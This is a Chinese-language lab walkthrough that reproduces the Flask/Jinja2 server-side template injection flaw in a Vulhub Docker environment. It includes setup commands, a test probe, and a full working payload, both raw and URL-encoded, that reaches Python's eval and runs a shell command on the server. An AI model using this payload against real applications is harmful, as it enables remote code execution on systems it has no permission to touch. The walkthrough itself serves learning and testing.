利用Vulnhub复现漏洞 - Flask(Jinja2) 服务端模板注入漏洞

Flask(Jinja2) 服务端模板注入漏洞

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现漏洞
      • 启动环境
    • 漏洞复现

Vulnhub官方复现教程

https://vulhub.org/#/environments/flask/ssti/

漏洞原理

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/flask/ssti

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:2秒
环境启动后,访问http://your-ip:8000/?name={{33*33}},得到54289,说明SSTI漏洞存在。
利用Vulnhub复现漏洞 - Flask(Jinja2) 服务端模板注入漏洞_第1张图片

漏洞复现

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

转化为链接是:
http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
得到执行结果:
利用Vulnhub复现漏洞 - Flask(Jinja2) 服务端模板注入漏洞_第2张图片

你可能感兴趣的:(渗透)